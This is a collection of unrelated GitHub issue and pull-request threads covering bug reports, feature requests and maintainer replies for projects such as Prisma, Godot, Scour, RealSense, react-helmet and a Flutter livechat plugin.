I pulled from the main branch not the "arl_conus404_nb_review" branch so other changes are included. Let me know if you need any additional input on my end.

@alaws-USGS


Revert "clone3() and changes in sigaltstack to work with glibc 2.34 (…

…#1414)"
This reverts commit 5bf87d39a834dfdf57c0a2c0e02965d194e26d34.

revert to make merge not squash


:bug: add CA cert bundle to uploader

This fixes a bug where uploading to an S3 remote over TLS errors due to lack of an installed ca bundle

@gabe-l-hart Yup!
We added the escape hatch for insecure uploads, will circle back with support for mounting the kserve-style storage config and certificate stuff


Device List Update Stream

Documentation: https://docs.google.com/document/d/1fNBZUeMlp0fn0en5bCji5fn6mSvj48UylWfGKrk8ZIw/edit#heading=h.j3k62x61k895
Author: @richvdh
Date: 18/01/2017

more reference material: https://github.com/matrix-org/synapse/pull/1857 https://github.com/matrix-org/synapse/issues/2210

Client-Server side should be fixed by https://github.com/matrix-org/matrix-doc/pull/1284

Server-Server side seems to be the "Update 10 July 2018" section of the above document.


Can we run only RandomForest and KNN from Traditional?, and how?

How to run only a few MyTraditionalTabularClassificationPipeline like RandomForest and KNN?

Hey, thanks for raising the issue. We currently don't support running only the traditional learners as the main focus of this library is on using deep learning. The traditional classifiers are currently only used to add diversity to the final ensemble created. If you would like to search for these classifiers, I would suggest using auto-sklearn, here.


Licence?

Hello @dmitrykazhdan ,
I am a Master student at the HTWG Konstanz University of Applied Sciences in Computer Science.
Currently, I am working on my master thesis, where I am investigating various machine learning methods that deal with the naming of variables and methods.
My idea is to collect the found implementations within a proof of concept and to use them for a specific use case within the development process.
For example in pull request's to support the reviewers.
I want to publish the proof of concept as an open source project on GitHub.
Therefore my question:
Could you add a license to your repo?
May I use your implementation in my proof of concept?
Greetings
Marcel

Hi,
Thank you for your email. Glad to hear someone found my work useful!
You may certainly use my implementation freely.
With regards to citing/licensing: My implementation is heavily based on the
Microsoft paper mentioned in the repo's README. Thus, I am currently
sorting out the citing/licensing requirements with them.
If that is alright, I will let you know in the next few days.
Best Regards,
Dmitry Kazhdan
On Tue, May 14, 2019 at 11:07 AM Marcel Luz<EMAIL_ADDRESS>wrote:

Hello @dmitrykazhdan https://github.com/dmitrykazhdan ,
I am a Master student at the HTWG Konstanz University of Applied Sciences
in Computer Science.
Currently, I am working on my master thesis, where I am investigating
various machine learning methods that deal with the naming of variables and
methods.
My idea is to collect the found implementations within a proof of concept
and to use them for a specific use case within the development process.
For example in pull request's to support the reviewers.
I want to publish the proof of concept as an open source project on GitHub.
Therefore my question:
Could you add a license to your repo?
May I use your implementation in my proof of concept?
Greetings
Marcel
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/dmitrykazhdan/Representing-Programs-with-Graphs/issues/3?email_source=notifications&email_token=AGCQKMHHDT74EG47DJTKM3TPVKFPTA5CNFSM4HMYLBI2YY3PNVWWK3TUL52HS4DFUVEXG43VMWVGG33NNVSW45C7NFSM4GTUIE4Q,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AGCQKMBORVYBMNDMN6KGSGTPVKFPTANCNFSM4HMYLBIQ
.

Hi,
I've added the license and the citing requirements.

Great.
Thanks for your quick answer 👍


Quoted font-family-names get destroyed

(Original report in https://bugs.launchpad.net/scour/+bug/1514073)
Font-family-names like "'MyriadPro-Regular'" get converted to "'MyriadPro-Regular'" with HTML-Entitys (primary fonts with whitespaces, because single quotation marks are recommended for this by the W3C) if you save as Optimzed SVG. Tested on Windows 7 x64 and Ubuntu latest version.
=====
Inkscape 0.91 r13725
includes Scour 0.26+r220
Also reproduced on Xubuntu 15.10 with Scour 0.31 (as a standalone script).
Test file available in the original report (unfortunately GH doesn't support SVG attachments...).

Fixed in 57f93efc894b1ba4c30e42b549b0081185029c36
Keep an eye open for regressions, since where not escaping quotes ('/") in text nodes and attribute names anymore.


Crash when Loading Some Meshes

Godot version
4.0 Beta 3
System information
Windows 11, Vulkan, GTX 1050 Ti 516.94
Issue description
Some Meshes Crash the Engine when attempting to put them on a mesh instance. Also they are clearly broken in the inspector preview.
Steps to reproduce
Open MRP, Inspect OBJ, Try to assign it to a Mesh Instance
Minimal reproduction project
Crash.zip

Everything seems to go to garbage if the model exceeds 65,535 vertices (this model has 65,536).
I'm guessing there's an unsigned short limitation somewhere along the way.


The screen with scanner freezes and app crashes

I found a problem with crashing an app while the scanner is working. I cannot detect the problem when it crashes. If this happens, 90% the screen is black, I mean, when the phone just lies on the table.

Is your iPhone plugged to your mac and xcode while scanning ? I've had crashes while plugged but none when compile in release on the iPhone

I have already done test Flight and it's crashed again

Ok, try to provide more info if you manage to reproduce it :)

@vosamoilenko you seemed to want it, here it is https://github.com/Michaelvilleneuve/react-native-custom-crop, to not hesitate to give me your feedback :)

I'm facing this issue. Seems like sometimes the component doesn't render correctly and freezes the app. I'm running in release on my iPhone 5s that is used for tests. It does not happens everytime, but it might occur frequently.
I need to rerender the scanner for scanning multiple documents, since the props option bugs after some tries, it captures the photo right after the component renders.
I think i just need to manage why its freezing, the props option its not really necessary. Have someone solved this? Thanks.


Environment variables loaded from uses wrong directory separator (slashes) on Windows

C:\Users\Jan\Documents\throwaway\1313>prisma introspect
Environment variables loaded from ./prisma/.env

Introspecting based on datasource defined in prisma\schema.prisma …
Error: P1001

https://github.com/prisma/prisma/blob/0118def34b4105ee1ce8b105efe1eacfef374956/src/packages/cli/src/bin.ts#L80
When working with paths in Node you should always  use path.join to avoid quirks like this:
import { join as joinPaths } from 'path';

dotenv.config({ path: joinPaths('prisma', '.env') });

Thanks @pizzafox but that line is not the problem.
The Dotenv library under the hood uses the path library and therefore can deal with the /.
The problem is just the hardcoded / path separator.
Using a simple path.relative solves this problem.

Thanks a lot for reporting 🙏
This issue is fixed in the latest dev version of @prisma/cli.
You can try it out with npm i -g @prisma/cli@dev.
In case it’s not fixed for you - please let us know and we’ll reopen this issue!


Admin area (should stay the same) when selected & user should not be able to see data from another area while this is happening

This comes from Corina from the training on "how to demo IBF"

@BlaiseSelvan  I created an issue from this, since you left it hanging as draft.


Update tests to show flaw with controlledAddress plugins

This PR updates the tests to test the plugin functionality with both a controlled address and the arc58 app address. The test failures demonstrate the problem with having a controlled address (discovered by @kylebeee): plugins don't know which account to rekey to.
For example, the opt in plugin is written as
    sendAssetTransfer({
      sender: sender,
      assetReceiver: sender,
      assetAmount: 0,
      xferAsset: asset,
      rekeyTo: sender,
    });

This works when the sender is the app address thus rekeyTo is simply sender. When there is a controlled address, however, the rekeyTo field should be the ARC58 app address. The question is how does the plugin know what the app address is?
I see a couple of options
A) All plugins must be created by the controlled address
B) There's a registry contract deployed where people register their ARC58 addresses
C) We remove controlled address functionality
C is obviously the easiest but it is very nice to have. B seems like it'd be a better UX than A but I don't love needing to have another app call involved in every plugin call.

Whats the concern with the global state check? How would B or A be better than just using the AppID as the argument instead?

If the app ID is just an arg anyone could call the plugin and just rekey back to their own malicious app. There needs to be a way to validate that the app we're rekeyed back to is indeed the desired app. We could use signature verification, but that is pretty expensive for an app call.

But for any of this to work in the first place the controlled account needs to be rekeyed to the plugin. Since this only happens inside an atomic group there shouldn't ever be an opportunity to inject a malicious app as an argument.

Okay i see the issue. We need guarantees about the authenticity of the arc58 argument. Could we just derive it from the 'rekeyToPlugin' call instead of even having it as an argument?

But it's the same problem. How do you know the rekeyToPlugin call you are looking at is from the correct app?

i think we can close this


Reorganize datamovement_controller

Allow the bulk of datamovement_controller to be usable from a forthcoming copy-offload daemon.

Nit pick: In nnf-sos, we have a few helper files that are named something like *_controller_helpers.go. I think we should stay consistent with that here and not use the helpers/ dir or perhaps change sos to be consistent with this layout.

I need to move it down to the helpers dir, so my daemon doesn't import the entirety of the internal/controllers/*.go content.

That makes sense.


Lint-Development Tool for outputting AstNode types

We could utilize a feature like VSCode Hover to output the exact subclass of a particular AstNode at the cursor. This could seriously help development of lints / edits.

Closing this, as the debugger should be used instead. This will remain in the backlog as a future "nice to have".


help

I got this error today [ERROR:flutter/lib/ui/ui_dart_state.cc(166)] Unhandled Exception: MissingPluginException(No implementation found for method beginChat on channel livechat)
E/flutter ( 6132): #0      MethodChannel._invokeMethod
package:flutter/…/services/platform_channel.dart:159
E/flutter ( 6132):
E/flutter ( 6132): #1      MethodChannel.invokeMethod
package:flutter/…/services/platform_channel.dart:334
E/flutter ( 6132): #2      Livechat.beginChat  (package:livechat/livechat.dart:17:20)
E/flutter ( 6132): #3      _MyHomePageState.build.

Which version of the plugin are you using?
You added the plugin and hot restarted or reloaded?

The plugin works as intended. The error probably appears because the addition of the plugin was followed by hot restart or hot reload rather than full restart. This means the plugin's platform-specific code is not built into the app.
Workaround: stop the app and restart it after adding a plugin...... Let me know if this fixes it.
Other helpful link(s): Restart is needed after adding a plugin dependency

i tried it but it loads for some seconds and stops with couldnt load chat,
and doesnt reload

Can you provide a screenshot of what you are seeing?
Also, are you using an emulator?

no i am using a physical device

is the groupid something i am to get  from livechat.com ?

Yes. You are to get the credentials from livechat.com(GROUP_ID and LICENSE_NO) which you would pass to Livechat.beginChat(LICENSE_NO, GROUP_ID, VISITOR_NAME, VISITOR_EMAIL);

worked thanks


[Feature] Define the Model in an .env file

In my family, everyone uses our self hosted instance.
Right now on every new login, we need to set the model to gpt-4-1106-preview for every single instance.
I'd like to have an option where an env controls the model in use and where users can not configure which model to use.

You can use CUSTOM_MODELS env var to control available models now:
https://github.com/Yidadaa/ChatGPT-Next-Web#custom_models-optional
you can disable all gpt-3.5- models, and it will switch to first available gpt-4 model.
Only available in main stream, Docker version will be released in next version.

Thanks! That's a little hard to maintain though because on every updated model we'd need to manually disable models. Could you add an option to clear all models and then add the ones we want?


How to convert uint8 data captured by Depth to the correct 'mono16'？

Before opening a new issue, we wanted to provide you with some useful suggestions (Click "Preview" above for a better view):

Consider checking out SDK examples.
Have you looked in our documentations?
Is you question a frequently asked one?
Try searching our GitHub Issues (open and closed) for a similar issue.

All users are welcomed to report bugs, ask questions, suggest or request enhancements and generally feel free to open new issue, even if they haven't followed any of the suggestions above :)

Required Info

Camera Model
{ R200 / F200 / SR300 / ZR300 / D400 }

Firmware Version
(Open RealSense Viewer --> Click info)

Operating System & Version
{Win (8.1/10) / Linux (Ubuntu 14/16/17) / MacOS

Kernel Version (Linux Only)
(e.g. 4.14.13)

Platform
PC/Raspberry Pi/ NVIDIA Jetson / etc..

SDK Version
{ legacy / 2.. }

Language
{C/C#/labview/nodejs/opencv/pcl/python/unity }

Segment
{Robot/Smartphone/VR/AR/others }

Issue Description
<Describe your issue / question / feature request / etc..>

Hi @wenmingxiaohuo  RealSense depth data is not 8-bit.  It is 16-bit uint16_t.

filename='D:\RecordData_D435\20241125_111919.bag'; % validateattributes(filename, {'char','string'}, {'scalartext', 'nonempty'}, '', 'filename', 1); bag=rosbag(filename); mes=select(bag,'Topic','/device_0/sensor_0/Depth_0/image/data'); poseStructs = readMessages(mes, 'DataFormat', 'struct'); %
Getting information from the depth sensor，

The Data is unit8 but the decoding method is mono16.

Thanks, but I'm still a little confused.
I want to convert 814080 of uint8 to 407040 of uint16, what should I do?

Ok thanks for the answer, I see what you mean. Also in response to your reply there is a small question, 'D:\RecordData_D435\20241125_111919.bag' is the data captured using the D435, how can I tell if this bag file is a ROG bag file?

Sorry, I have other things to take care of, so please just leave a message at your leisure. Thank you for every answer, bye!

A quick way to test whether a bag file might be a ROS bag is to drag and drop the file into the center panel of the RealSense Viewer tool if you have access to that tool.  If there is an error message instead of the bag starting to play automatically then there is a good chance that it is a rosbag instead of an SDK-bag.

I'd like to reiterate my question.
Recorded packets show depth data is a mono16 form, that is, it should be a layer of uint16 data, however, the actual data points are 1280 * 720 twice the amount, and the form is uint8, it should be reasonably to 2 for a group to uint16 format, how to realize it?

I do not have knowledge about this particular subject.  It may be worth looking at the librealsense SDK's /sensor_msgs/image_encodings.h source code file and doing a search on the page for the word mono16 to find relevant references in the code.
https://github.com/IntelRealSense/librealsense/blob/master/third-party/realsense-file/rosbag/msgs/sensor_msgs/image_encodings.h

Hi @wenmingxiaohuo  Do you require further assistance with this case, please?  Thanks!

Case closed due to no further comments received.


Feature request: .toDocument() which sets document.head.title etc

(I'd love to use .toComponent(), is there an example that shows how to use it? I see react-helmet-example but it is server-side.)

There's an example component in the README.  This is completely up to how users want to write their Node server.  react-helmet-example uses renderToString() and writes the string straight to the response.  We use a similar process in-house.  I believe the users who use .toComponent() option want to render the Helmet properties to components to use in another component that actually renders the whole HTML page on the server.  Here's the issue that started the conversation to get the feature put into Helmet - #25

@cwelch5 thank you. Does that mean that I cannot use react-helmet client-side?

No, Helmet completely supports a universal/isomorphic application.  react-helmet-example shows a good example of how to render Helmet on the client and server.  It still needs to be updated, but with the new API, using react-helmet-example, you would use the .toString() function on the server.
Have you tried to render on the client to start?  What are your results?  I would use some sort of react starter kit just to see how Helmet can work for you, if you don't already have an app running.